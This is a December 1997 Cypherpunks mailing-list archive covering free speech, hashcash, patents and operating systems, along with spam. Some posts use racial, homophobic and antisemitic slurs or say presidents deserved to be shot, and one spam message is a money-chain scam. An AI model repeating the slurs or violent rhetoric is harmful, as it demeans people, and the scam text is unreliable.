>                     Without knowing what's on the filter list, parents
>                     can't know what Junior will or won't be seeing.

 NetNanny (www.netnanny.com) says that its lists are fully viewable and
editable.  If so, perhaps we should support them as the alternative.







From rotenberg at epic.org  Thu Dec 18 19:58:28 1997
From: rotenberg at epic.org (Marc Rotenberg)
Date: Fri, 19 Dec 1997 11:58:28 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



At 2:08 AM -0000 12/19/97, Tim May wrote:
>At 4:46 PM -0700 12/18/97, Declan McCullagh wrote:
>
>>   Keynote speaker Keen Umbehr told the audience that he lost his job,
>>   his community and even family and friends during his First Amendment
>>   battle with the county commission in Wabaunsee County, Kansas.
>>
>>   Umbehr, who had a contract to haul the county's trash, also wrote
>>   editorials for the local newspaper, often alleging violations of law
>>   and other misconduct by the county commission. "What I wrote was true,
>>   and I could back it up," Umbehr said. "I believed that my
>>   constitutional rights were live and real, waiting to be activated. I
>>   felt that writing articles and speaking out about the government not
>>   only was my right, it was my duty to speak the truth, regardless of
>>   the fact that my whole livelihood was based on that county contract."
>>
>>   The county terminated his contract in retaliation for his articles.
>>   Umbehr sued, and the case went all the way to the U.S. Supreme Court.
>>   In June 1996 the court upheld Umbehr's free-speech rights.
>
>This is part of why the First Amendment is being eroded constantly. It is
>seen as a _political_ issue.
>
>The role of the _county_ in hiring or not hiring Keen Umbehr is
>problematic, but not because of prior restraint issues.
>
>Were far, far, far fewer persons hired by the government, the issue would
>be much simpler.
>

Tim's analysis is nonsensical.

A government employee loses his job because of his political
views. He brings a lawsuit, alleging a violation of the First
Amendment, and eventually prevails in the Supreme Court.

A non-government employee who loses his job because of his
political views would have no cause of action because the
private employer is not bound by the First Amendment.

Therefore there should be far fewer government employees
to prevent further erosion of the First Amendment.

>Suppose RealBig Corporation fired Umbehr for his views. Would a First
>Amendment issue have arisen? Of course not. In a free society, RealBig is
>free to hire whom it wishes, and to refuse to hire niggers, homos,
>perverts, Jews, whatever. And to fire anyone who wrote opinions the
>managers at RealBig disliked.

Substitute "fascist society" for "free society" in the paragraph
above and the discussion begins to make some sense. Hell, it's even
historically accurate.

[This is probably the point at which we get those posts about
how there is more freedom in Singapore. Unless, of course,
you chew gum on the job.]

Marc.







From andrade at netcom.com  Thu Dec 18 20:32:23 1997
From: andrade at netcom.com (Andrade Software Andrade Networking)
Date: Fri, 19 Dec 1997 12:32:23 +0800
Subject: How about a Bay Area meeting 1/17/98?
In-Reply-To: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com>
Message-ID: <199712190418.UAA24814@netcom13.netcom.com>



Andrade Software & Networking
Andrad at Netcom.Com
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 544       

> 
> 	Bill wrote:
> 	> The December Bay Area Cypherpunks Meeting will be held 12/13
> at 1pm at
> 	> Printer's Ink on Castro Street in Mountain View.
> 
> It would be nice if the January meeting were held the 17th. This is the
> day following
> the RSA Data Security Conference, and a lot of out-of-towners will be in
> the
> area over that weekend.
> 
> Peter Trei
> 
> 
> 

Will there be a meeting then?  If so, where and when?

- Alex

-- 

Alex Alten
P.O. Box 11406
Pleasanton, CA  94588
USA

Andrade at Netcom.Com
(510) 417-0159   Fax/Voice






From anon at anon.efga.org  Thu Dec 18 21:33:40 1997
From: anon at anon.efga.org (Anonymous)
Date: Fri, 19 Dec 1997 13:33:40 +0800
Subject: No Subject
Message-ID: <5919868725b843ed4686a7fd85c52524@anon.efga.org>



Oh Boy!  I just read Sheiner's Applied Cryptography, and I am ready to
*do some code*!!!

> 
> I would like to participate in the Coderpunks list.  Can someone send me
> information about the list.  I am particularly interested in the current
> discussion on Crypto Kong.
> 
> Thanks,
> --
> Matthew Cromer
> 
> matthew_cromer at iname.com
> 
> 


-- 






From JonWienk at ix.netcom.com  Thu Dec 18 22:06:57 1997
From: JonWienk at ix.netcom.com (Jonathan Wienke)
Date: Fri, 19 Dec 1997 14:06:57 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <3.0.3.32.19971217235654.006cb558@popd.netcruiser>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 03:14 PM 12/17/97 -0500, Robert A. Costner wrote:
>Just what is the meaning of "Willful" in this context?

IANAL, but if I convert my MAK-90 to fire full-auto, and I get caught with
it, I am going to spend some serious time in prison regardless of whether
or not I had a clue that doing so was illegal, or whether I even knew the
weapon had been converted.  Mere posession of such a device is sufficient
to convict me.  I think the antipiracy law will probably be enforced
"cherry on the sundae" style--I doubt cops will do house-to-house searches
looking for illegal copies of things, but if you get busted for something
else, they will probably throw piracy charges in to get you to plea
bargain.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNJjXRcJF0kXqpw3MEQKVpQCglfS/v9WcNh60/EnMKBiYiNRWcbIAoNkS
AsMgV16dKPSEkeg33FHHI3K0
=aeTg
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <3.0.3.32.19971218120500.00707254@popd.ix.netcom.com>



>> > So, we would need about 44 hours of CPU time each day.
>> >Well, have a system of certified remailers trusted to force their 
>> >users to burn up time at the sending end, so the ultimate recipient
>> >accepts their messages w/o postage. One certified remailer accepts
>> >messages from others without any postage, so only the original
>> >sender has to use up CPU time. 
>...
>> Since we need hashcash now to LEAVE a remailer, not to enter one,
>> where does this hashcash come from?  A busy remailer could not
>> generate it's own hashcash for the destination non-remailer ISPs. 
>
>This is exactly what I was addressing: remailers only have to get themselves
>certified as remailers and then prove their certification to the destination

You're both taking the wrong approach - make the originator of the message
generate the hashcash, and make sure the remailer syntax lets them paste it in
as needed.  For chained remailers, generate multiple layers of hashcash.
Maintaining whitelists is a losing game, but unnecessary here.

Mailing lists are still hard, and perhaps best handled by the user's software
(or some fancy variant like user-selectable filters at the ISP mailbox.)
It's hard to tell a real mailing list from a spammer's mailing list,
and both of them do mail explosion and send their mail to names not 
listed in the To: line, so it's hard to do a technical fix.
There are scads of attacks against any fix, like having 
disposable_user at juno.com join the mailing list for a while and them spam it.
But remailers are easy.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From ichudov at Algebra.COM  Thu Dec 18 22:51:41 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Fri, 19 Dec 1997 14:51:41 +0800
Subject: ADL
In-Reply-To: 
Message-ID: <199712190637.AAA00706@manifold.algebra.com>



ADL is a disgrace and shame to all freedom-loving Jews.

	- Igor.






From up at uplinkpro.com  Thu Dec 18 23:40:30 1997
From: up at uplinkpro.com (up at uplinkpro.com)
Date: Fri, 19 Dec 1997 15:40:30 +0800
Subject: Can't Find Your Web Site
Message-ID: <199712190738.CAA26630@athena.uplinkpro.com>



     Can't find your web site?
     Uplink will post your site to 50 search engines for $89. 
     We guarantee your satisfaction, or you pay nothing!

Millions of people every day use search engines to find web sites.
Uplink makes your site easier to find by posting it to the top 50 search engines.

Here's how it works:

1.  Fill out the form below, and return it to us.

2.  We'll post your site to the top 50 search engines within two business days and send 
you a full promotion report.

3.  Pay nothing now.  We'll send you a bill for $89 with the promotion report.  If you're 
not completely happy, simply write "cancel" on the bill, and you'll owe nothing.

THE SEARCH ENGINES

Here's the list of top search engines to which we'll post your site:

Alta Vista, Excite, Galaxy, HotBot, Infoseek, Lycos, Magellan, Open Text Web Index,
Web Crawler, BizWeb, New Riders WWW Yellow Pages, LinkMonster, True North, 
Northern Light, YelloWWWeb, The Weekly Bookmark, The Galactic Galaxy, TurnPike,
Unlock:The Information Exchange, Your WebScout, Manufacturers Information
Network, Net Happenings, Net Mall, Web World  Internet Directory, WebVenture
Hotlist, What's New, WhatUSeek, JumpLink, Linkcentre Directory, InfoSpace, Jayde
Online Directory, BC Internet, BizCardz Business Directory, Net-Announce, New Page
ListOne World Plaza, PageHost A-Z, PeekABoo, Project Cool, Scrub The Web, Seven
Wonders, Sserv, Starting Point, Web 100, Web Walker, Where2Go, World Wide Business
Yellow Pages, Wow! Web Wonders!, WWW Worm, JumpCity.

ORDER FORM

Hit the REPLY button on your e-mail program and fill out the following information.
 (This information will be posted to the search engines/indexes):

URL:  http://
Site Title: 
Description (250 characters): 

Key words (250 characters, in descending order of importance):

Your name: 
Company Name:
Address:
City:              State/Prov:     Zip/Postal Code: 
Telephone: 
Fax: 
Email address: 

Contact e-mail address (in case we have questions about this order): 

If  billing a different address, please complete the following:

Addressee: 
Company Name:
Address:
City:              State/Prov:     Zip/Postal Code: 
Telephone: 
Fax: 
Email address: 

TERMS

Terms are net 15 days from date of invoice.

______________________________________________________________________
Uplink, Inc.
39B Mill Plain Road
Danbury, CT 06811
Phone: (203) 791-7351
Fax:     (203) 790-6407
E-mail: up at uplinkpro.com






From mitch at duzen.com.tr  Thu Dec 18 23:59:54 1997
From: mitch at duzen.com.tr (S. M. Halloran)
Date: Fri, 19 Dec 1997 15:59:54 +0800
Subject: Is Unix dying--or even dead?
Message-ID: <199712190745.JAA17166@ankara.duzen.com.tr>



>From Edupage, 18 December 1997:

<---------->
TACTICAL SHIFT BY WORKSTATION COMPANIES
Silicon Graphics Inc.'s plan to allow SGI graphics software to run on
Microsoft's Windows NT operating system provides new evidence that a
growing number of companies are giving up on Unix and instead
standardizing on Windows NT.  SGI hopes to be able to use its
experience in developing high-end graphics software without having to
spend a great deal of time building the underlying technology
represented by an operating system. (Washington Post  17 Dec 97)
<---------->






From jburke at nh.ultranet.com  Fri Dec 19 00:43:26 1997
From: jburke at nh.ultranet.com (jburke at nh.ultranet.com)
Date: Fri, 19 Dec 1997 16:43:26 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: <1.5.4.32.19971217041639.00758bfc@pop.pipeline.com>
Message-ID: <3.0.3.32.19971219034053.007a5100@pop.nh.ultranet.com  >



At 10:18 AM 12/17/97 -0700, you wrote:
>
>Can patents be revoked due to prior art arguments?
>
>Jim Burnes
>

The short answer is yes. In the case here however it is not possible. 

When someone files for a US patent the only kind of foreign activity or
prior art the PTO can use to reject its claims is disclosure of the
invention in a printed publication or a foreign patent (the invention can
even be in use abroad but it will not affect the US application). This also
applies to later claims of invalidity by defendants being sued for
infringement by the patent holder. When the US patent here was filed there
was no prior art to speak of, inventions kept secret by those in the US or
abroad could not be used (not only because the PTO did not know about them). 

102(b) does allow an opportunity for an inventor who has kept their
invention secret to apply for a patent when they realize that someone has
'reinvented' it, but they must file for a patent within a year of it
becoming public or the opportunity is lost. So, the NSA or whomever can
come forward within that time period if they want a patent but in doing so
they will be required to not only prove the priority of their invention but
to make its details public. 

The bottom line is that secret information can never be used to prevent a
patent from issuing. The rationale behind the patent system is to grant
monopolies to inventors in return for making their invention public (which
occurs when a patent issues) which will spur further innovation etc..
"Prior Art" is by definition public, a piece of prior art is part of the
known 'art' of whatever field is involved. 

The only reason I am able to spin this out is because I took my patents and
trade secrets exam today, so take it with a pinch of salt. ;-)

I've attached the relevant section of the Patent Act below.

On a related note I have a copy of that "Data Embedding" patent issued to a
Los Alamos Scientist that was mentioned on the list a few weeks ago. I
don't know enough about stego to give a good description of what is novel
about it so maybe someone else might want to take a look. It is a few pages
of specification and claims with tiffs of source code embodying their
invention so its a little big. 


Julian Burke 


35 USCA s 102 
102. Conditions for patentability;  novelty and loss of right to patent

 A person shall be entitled to a patent unless--
 (a) the invention was known or used by others in this country, or patented
or described in a printed publication in this or a foreign country, before
the invention thereof by the applicant for patent, or

 (b) the invention was patented or described in a printed publication in
this or a foreign country or in public use or on sale in this country, more
than one year prior to the date of the application for patent in the United
States, or

 (c) he has abandoned the invention, or

 (d) the invention was first patented or caused to be patented, or was the
subject of an inventor's certificate, by the applicant or his legal
representatives or assigns in a foreign country prior to the date of the
application for patent in this country on an application for patent or
inventor's certificate filed more than twelve months before the filing of
the application in the United States, or

 (e) the invention was described in a patent granted on an application for
patent by another filed in the United States before the invention thereof
by the applicant for patent, or on an international application by another
who has fulfilled the requirements of paragraphs (1), (2), and (4) of
section 371(c) of this title before the invention thereof by the applicant
for patent, or

 (f) he did not himself invent the subject matter sought to be patented, or

 (g) before the applicant's invention thereof the invention was made in
this country by another who had not abandoned, suppressed, or concealed it.
 In determining priority of invention there shall be considered not only
the respective dates of conception and reduction to practice of the
invention, but also the reasonable diligence of one who was first to
conceive and last to reduce to practice, from a time prior to conception by
the other.








From bill at jitcorp.com  Fri Dec 19 01:18:46 1997
From: bill at jitcorp.com (Bill James)
Date: Fri, 19 Dec 1997 17:18:46 +0800
Subject: Everybody can serve
In-Reply-To: 
Message-ID: <3499EAE0.77D@jitcorp.com>

When everyone can publish it is more difficult
to control a society.

We offer this free.

Billy James

Title: Leap into the Future






   
      
         
       
         

Press Release






FOR IMMEDIATE RELEASE 

Media Contacts: 
                                                                    
Scott Barger - Fallon McElligott
                                                                    
612-321-2797, Scott's email
                                                                    
Bill James - JIT
                                                                    
612-484-9549, Bill's email

----------------------------------------------------------------------

St Paul, MN

James Integrated Technologies (JIT Corp), under its Leap into the Future program to educate web users on the ease of electronic-commerce, is contributing $6.5 million in free eCommerce software.  The first 10,000 users to registered at www.webclerk.com will receive a free license for WebClerk, regularly priced at $649.  

JIT Corp's Leap into the Future, introduced on December 16, 1997 is designed to educate business people that they can safely and cost effectively sell and provide service to their customers on the internet. "The $6.5 million gift to our customers will give them confidence that they do not have to fight through the current fears, costs and technical difficults associated with getting on the internet. With free WebClerks they simply leap past the current obstacles and start doing business on the web.

"Our objective is to increase our customer's profitable sales," says  JIT Corp President Bill James.  "In the near future, eCommerce  will replace FAXing, just as FAXing replaced telex.  We have removed the technical complexities of commercial web site implementation, made it powerful enough for big business and priced WebClerk so that even the smallest business can afford to safely provide service and sell on the web."



Author and President, Bill James, initiates the $6.5 million "Leap into the Future" Education Program with a leap from 10,000 feet over a wintery Minnesota landscape.




WebClerk is a commercial data base, prefabricated web site and server.  Users simply import their data and graphics and begin taking orders on the web.  An experienced webmaster, Jason Bright, www.brightech.net, notes, "WebClerk is a straightforward and extensive way to get a commerce site up and running overnight."

WebClerk offers customers numerous features, including technical libraries, interactive customer support and FAQs, forums, catalogs, order entry, order status and secure credit card approvals.

The local webmaster controls the data available for WebClerk to display.  Customers collaborate with WebClerk to access areas of interest as well as make online purchases.

"As the Interactive division of a major advertising and marketing agency (Fallon McElligott), we look for solutions that give our clients a strong and secure presence on the web," says Lynn Heiberger, President of Revolv.  "Most solutions with the capabilities we wanted cost at least $100,000.  WebClerk helped us meet our objectives for less than $10,000."

With WebClerk, small businesses have the same abilities as large businesses to leap into the future. "We're a two-person company making custom labels for home beer brewers.  Changing our web catalog was expensive and beyond our technical ability," says Ernie Bishop of www.ToTheLabel.com.  "With WebClerk we built our catalog in a few hours and are now able to update it in just minutes."

WebClerk has EDI and data synchronization capabilities.  When used with theCustomer, enterprise software, it becomes an integrated part of a total client/server solution running both the web and normal aspects of the business.  A single user version of theCustomer comes bundled in WebClerk.

Setup requires a connection to the Internet, router or modem and a fixed TCP/IP address.  No other software is required for normal operation.  To manage secure
credit card approvals there is a $35 per month and $.25 per secure transaction service contract.  WebClerk runs at a company's site or at a host service provider.

WebClerk runs on either a Macintosh (32 Mbytes of RAM) or Windows NT/95 (64 Mbytes of RAM).

James Integrated Technologies (www.jitcorp.com or www.webclerk.com) is located in St. Paul, MN.  They provide software, training, catalog hosting and support to enable their customers to become technically competitive, sales and service driven.

# # #









From soapoa1 at mxc.meshnet.or.jp  Fri Dec 19 18:31:30 1997
From: soapoa1 at mxc.meshnet.or.jp (soapoa1 at mxc.meshnet.or.jp)
Date: Fri, 19 Dec 1997 18:31:30 -0800 (PST)
Subject: XXX ADULT!!!
Message-ID: <199712192658YAA48158@post.71.48.10>


The LARGEST selection of Hot Beautiful XXX Live Girls
from the  U.S.A. & Europe!!! 

Voted as the 1998 best Adult Site!  

*LIVE GIRL SEX SHOWS!!!
* 4 FREE Live Video Feeds & Chatrooms!!! 
*FREE Erotic Stories!!
*Free Pictures of XXX Porn Stars!!
*Confessions!!!
*Free Pictures of Teens & Men!!!
And Lots More to do for FREE!!!


*REAL LIVE SEX!!!  MUST SEE TO BELIEVE THIS SHOW!! Never seen before on the internet!

You must be 21 or older.

http://host3597.homecom.com

AOL Click Here! 

If you take offense to this email & wish to be taken off our list, or would like
to know how you can win free time on our sex shows or cash prizes monthly
simply  e-mail us at: mwa234 at hotmail.com
We are sorry for any inconvience.






From mj at creative.net  Fri Dec 19 03:48:46 1997
From: mj at creative.net (mj at creative.net)
Date: Fri, 19 Dec 1997 19:48:46 +0800
Subject: Fwd: Re: Is Unix dying--or even dead?
Message-ID: 




>
>>
>>>>From Edupage, 18 December 1997:
>>>
>>><---------->
>>>TACTICAL SHIFT BY WORKSTATION COMPANIES
>>>Silicon Graphics Inc.'s plan to allow SGI graphics software to run on
>>>Microsoft's Windows NT operating system provides new evidence that a
>>>growing number of companies are giving up on Unix and instead
>>>standardizing on Windows NT.  SGI hopes to be able to use its
>>>experience in developing high-end graphics software without having to
>>>spend a great deal of time building the underlying technology
>>>represented by an operating system. (Washington Post  17 Dec 97)
>>><---------->
>
>Fools. This will trap them into trying to compete with MS on its own
>platform, which is what's killing everyone else.  What they should do is
>port to Linux, which should be much easier anyway, and give much better
>results, since they can customize the OS to their needs.  Does anyone have
>any connections at SGI?  I'm preparing a pro-Linux case based on my OOSI
>paper that I want to promote around Silicon Valley.
>>
>>
>







From dlv at bwalk.dm.com  Fri Dec 19 04:07:41 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Dec 1997 20:07:41 +0800
Subject: Toto, knock it off!
In-Reply-To: 
Message-ID: 



Timmy May  writes:

> At 6:18 AM -0700 12/18/97, Adam Back wrote:
> >Toto,
> >
> >Could you have a word with your nephew Human Gus Peter?  He just sent
> >1.1 Mb of encrypted warez to cypherpunks list.  I'm not bothered about
> >the warez, but am bothered about the volume.
> >
> >If he wants to make warez available could you get him to learn how to
> >use the eternity service?  Then he could simply post a URL to the
> >list.
>
> You're far too kind, Adam.
>
> This fool who sometimes posts as Toto, sometimes as TruthMonger, sometimes
> as Human Gus-Peter, sometimes as Admiral Bubba Something, and so on, is
> simply set on disrupting the list.

Timmy is being his censorious self as usual, always ready to yap in support
of blacklisting by e fascist cocksuckers John Gilmore and Declan M, in
favor of C2Net's "moderation experiment", and any other oppression of free
speach.  Up with the SPAM!!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From phelix at vallnet.com  Fri Dec 19 04:19:09 1997
From: phelix at vallnet.com (phelix at vallnet.com)
Date: Fri, 19 Dec 1997 20:19:09 +0800
Subject: Is Unix dying--or even dead?
In-Reply-To: <199712190745.JAA17166@ankara.duzen.com.tr>
Message-ID: <349a62b8.37418915@128.2.84.191>



On 19 Dec 1997 05:59:43 -0600, "S. M. Halloran"  wrote:

>
>>From Edupage, 18 December 1997:
>
><---------->
>TACTICAL SHIFT BY WORKSTATION COMPANIES
>Silicon Graphics Inc.'s plan to allow SGI graphics software to run on
>Microsoft's Windows NT operating system provides new evidence that a
>growing number of companies are giving up on Unix and instead
>standardizing on Windows NT.  SGI hopes to be able to use its
>experience in developing high-end graphics software without having to
>spend a great deal of time building the underlying technology
>represented by an operating system. (Washington Post  17 Dec 97)
><---------->

Does this mean that Unix is dying?
No, it means that graphics professionals are buying Wintel boxes instead of
SGI's expensive workstations. ( a shame really, SGI make some damn nice
workstations, but that pesky price/performance ratio is pushing people into
high end Wintel boxes)

-- Phelix







From dlv at bwalk.dm.com  Fri Dec 19 04:26:36 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Dec 1997 20:26:36 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <53iyHe20w165w@bwalk.dm.com>



Tim May  writes:

> At 4:46 PM -0700 12/18/97, Declan McCullagh wrote:
>
> >   Keynote speaker Keen Umbehr told the audience that he lost his job,
> >   his community and even family and friends during his First Amendment
> >   battle with the county commission in Wabaunsee County, Kansas.
> >
> >   Umbehr, who had a contract to haul the county's trash, also wrote
> >   editorials for the local newspaper, often alleging violations of law
> >   and other misconduct by the county commission. "What I wrote was true,
> >   and I could back it up," Umbehr said. "I believed that my
> >   constitutional rights were live and real, waiting to be activated. I
> >   felt that writing articles and speaking out about the government not
> >   only was my right, it was my duty to speak the truth, regardless of
> >   the fact that my whole livelihood was based on that county contract."
> >
> >   The county terminated his contract in retaliation for his articles.
> >   Umbehr sued, and the case went all the way to the U.S. Supreme Court.
> >   In June 1996 the court upheld Umbehr's free-speech rights.
>
> This is part of why the First Amendment is being eroded constantly. It is
> seen as a _political_ issue.
>
> The role of the _county_ in hiring or not hiring Keen Umbehr is
> problematic, but not because of prior restraint issues.
>
> Were far, far, far fewer persons hired by the government, the issue would
> be much simpler.
>
> Suppose RealBig Corporation fired Umbehr for his views. Would a First
> Amendment issue have arisen? Of course not. In a free society, RealBig is
> free to hire whom it wishes, and to refuse to hire niggers, homos,
> perverts, Jews, whatever. And to fire anyone who wrote opinions the
> managers at RealBig disliked.
>
> Mr. Umbehr may have had a cause of action based on his employment contract,
> and the various rules which govern government employees, but it was hardly
> a First Amendment case.
>
> Except in the "liberal" sense, which is exactly why the First is being eroded

This has no crypto relevance (not surprising, coming from Timmy)

1st Amendment says, "the congress shall pass no law".  It says nothing about
some redneck county not being allowed to curtail free speech.  if you don't
like it, move to another county.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Fri Dec 19 04:28:13 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Dec 1997 20:28:13 +0800
Subject: 
In-Reply-To: <199712182152.QAA04664@users.invweb.net>
Message-ID: <6a0XHe12w165w@bwalk.dm.com>



"William H. Geiger III"  writes:

> In <0sqwHe3w165w at bwalk.dm.com>, on 12/18/97
>    at 07:20 AM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >"William H. Geiger III"  writes:
> >>
> >> In , on 12/18/97
> >>    at 05:36 AM, bureau42 Anonymous Remailer  said:
> >>
> >> >When is Klintonkov running again? Why not?! He doesn't pay any attention
> >> >to the other amendments!
> >>
> >> Oh I am sure the rat bastard would like nothing more than to be another
> >> Franklin "Dictator for Life" Roosevlet. He has already show that he is
> >> just as much a socialist and has the same disrespect for the Constitution.
>
> >Bill, while I intensely dislike FDR's politics, he was nowhere near the
> >kind of crook and murderer that Slick Willy is.
>
> >FDR tried to pack the Supreme Court - this ain't nice, but it's just
> >politics. What did he do that could compare to peddling plots on the
> >Arlington nat'l Cematary to political contributors (that later get dig up
> >and reburied :-) or to Waco?
>
> While I despise the current thieving murders in power (ALL 3 Branches),
> they look like ametures when compared to the criminals in power during the
> FDR dictatorship.

The criminals currently in Wash DC are less discrete about their abuses.
They also have no style. FDR fucked around on Eleanore a lot, but can you
vizualize FDR having his minions fetch a secretary to his office; pulling
down his pants and ordering her to suck him off; and firing her for refusing?

> FDR did much more damage to the Constitution than most realize: price
> controls, TVA, rations, socialist policies to "fix" the depression,
> Japanese and Italian internment camps, imprisonment of political
> opponents, suppresion of the press, ... etc.

FDR was shit, but Lincoln did much of that and worse.

> As far as a murder FDR is responsible for more American deaths than any
> other President with the exception of the butcher Lincoln (all such
> statist should die that way) not to mention the 1,000's of Jews he let die
> because he didn't want any "filthy kikes" immigrating to the US. Oh let's
> not forget the men and women at Perl Harbor and in the other Pacific
> Islands that were offered up as sacrificial lambs so he could turn the
> sheeple in favor of a war they otherwise would not have supported.

Amen. And let's not forger the Kennedy Klan: the murderer and bootlegger
Joe Kennedy accummulated lots of $$ via his criminal activities during the
prohibition and figured (correctly) that he could buy political posts for
his kids. Joe kennedy personally murdered more people than Al Capone and
Dillinger (I'm not talking about sending goon squads)

> FDR was a statist pig no better than the other statist pigs that waged war
> against the people of the world in the 30's and 40's.

I can't argue with the obvious fact that FDR was a motherfucking dictator and
deserved a bullet in his head the same way Lincoln did. However FDR did not,
as far as I know, sent death squads dressed up as ninjas to murder civilians,
the way Slick Willy did at Waco, Ruby Ridge, et al - possibly just because
FDR didn't have the goons that are now plentiful in the feds' employ.

Lock and load,

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Fri Dec 19 04:28:33 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Dec 1997 20:28:33 +0800
Subject: Warez 397
In-Reply-To: 
Message-ID: 



Rabid Wombat  writes:

>
> Larry;
>
> Knock it off, or I'll have to hide your booze again.

That would be censorship.

(I got so drunk last night that I can't sleep now. Ain't that something.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From mark at unicorn.com  Fri Dec 19 04:49:42 1997
From: mark at unicorn.com (mark at unicorn.com)
Date: Fri, 19 Dec 1997 20:49:42 +0800
Subject: message dependent hashcash => no double
Message-ID: <882535578.7907.193.133.230.33@unicorn.com>



Steve Schear (schear at lvdi.net) wrote:
>We all know we must affix postage to our snailmail.
>Its time to embrace the postal system's paradigm and educate the reminder 
>of the Net.

That's an extremely bad analogy; we're not paying for the Net to carry
our mail, because we've already paid our ISP for that. We're paying for
remailers to process our mail or for humans to read it. A better analogy
would be for snail-junkmail to include a five dollar bill to encourage
people to open it rather than junk it unopened.

(Of course this really only applies to real digital cash, but that's
what hashcash is a substitute for.)

    Mark






From declan at well.com  Fri Dec 19 05:48:55 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 19 Dec 1997 21:48:55 +0800
Subject: White House admits censoring Chinese dissident
Message-ID: 



===========

                            South China Morning Post

                               December 19, 1997

Storm over block on Wei TV broadcast; White House red-faced after
censorship admission

By Simon Beck


    The Clinton administration was in the middle of a firestorm yesterday
after officials admitted blocking a global broadcast of a Wei Jingsheng
interview for fear of annoying China.

    After winning praise for receiving Mr Wei in the White House last week,
President Bill Clinton's officials were embarrassed to have to admit
blocking the broadcast on the state-owned global network Worldnet.

    Officials tried in vain to stop the government radio station, Voice of
America (VOA), from broadcasting the interview, but succeeded in blocking
it from Worldnet.

    Both broadcasting arms are run by the official US Information Agency
(USIA).

    The revelations have not only embarrassed the White House, but cast new
light on the conditions with which Beijing asked Washington to comply in
return for Mr Wei's release last month.

    The interference came after the US Ambassador to China, James Sasser,
learned of the planned VOA interview and called the US National Security
Council to express his concern.

    Mr Sasser feared the broadcast would break promises supposed to have
been made to China that the US would not make political capital out of Mr
Wei's release.

    He also warned it could damage US efforts to win other dissidents'
release.

    USIA director Joseph Duffey confirmed Mr Sasser's intervention, and
said: "After I learned it was going to be broadcast, I delayed the Worldnet
telecast and I asked VOA not to telecast it, but they did anyway.

    "With Wei there was an implied commitment that our purpose was not
political exploitation. That's a commitment also in the negotiations, which
frankly now may be in the can."

    White House spokesman Mike McCurry said National Security Adviser Sandy
Berger warned VOA director Evelyn Lieberman.

    "We would not make any effort to violate what is a very important
principle - the editorial independence of VOA," he said.

    "At the same time, it is perfectly appropriate for VOA to understand
what the consequences of some of its broadcasts might be from our
perspective."

    Human Rights Watch Asia's Washington director Mike Jendrzejczyk was
shocked at the "about-face".

    "We can only assume from this that not offending Beijing is more
important to the administration than exerting pressure on China to release
more dissidents and improve its human rights record," he said.








From 38483580 at juno.com  Fri Dec 19 23:59:10 1997
From: 38483580 at juno.com (38483580 at juno.com)
Date: Fri, 19 Dec 1997 23:59:10 -0800 (PST)
Subject: SUCESS TICKET!!!!
Message-ID: <199702170025.GAA08056@juno.com>


Hello!


My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time accountant.
As a rule, I delete all unsolicited "junk" e-mail and use my account primarily 
for business.  I received what I assumed was this same e-mail countless times and
deleted it each time.

About two months ago I received it again and, because of the catchy subject line,
I finally read it.  Afterwards, I thought , "OK, I give in, I'm going to try this.  
I can certainly afford to invest $20 and, on the other hand, there's nothing wrong 
with creating a little excess cash."  I promptly mailed four $5 bills and, after 
receiving the reports, paid a friend of mine a small fee to send out some e-mail 
advertisements for me.  After reading the reports, I also learned how easy it is 
to bulk e-mail for free! 

I was not prepared for the results.  Every day for the last six weeks, my P.O. 
box has been overflowing with $5 bills; many days the excess fills up an extra 
mail bin and I've had to upgrade to the corporate-size box!  I am stunned by all 
the money that keeps rolling in!

My husband and I have been saving for several years to make a substantial 
downpayment on a house.  Now, not only are we purchasing a house with 40% 
down, we're going to Venice, Italy to celebrate!

I promise you, if you follow the directions in this e-mail and be prepared to 
eventually set aside about an hour each day to follow up (and count your money!), 
you will make at least as much money as we did.  If you can open an envelope, 
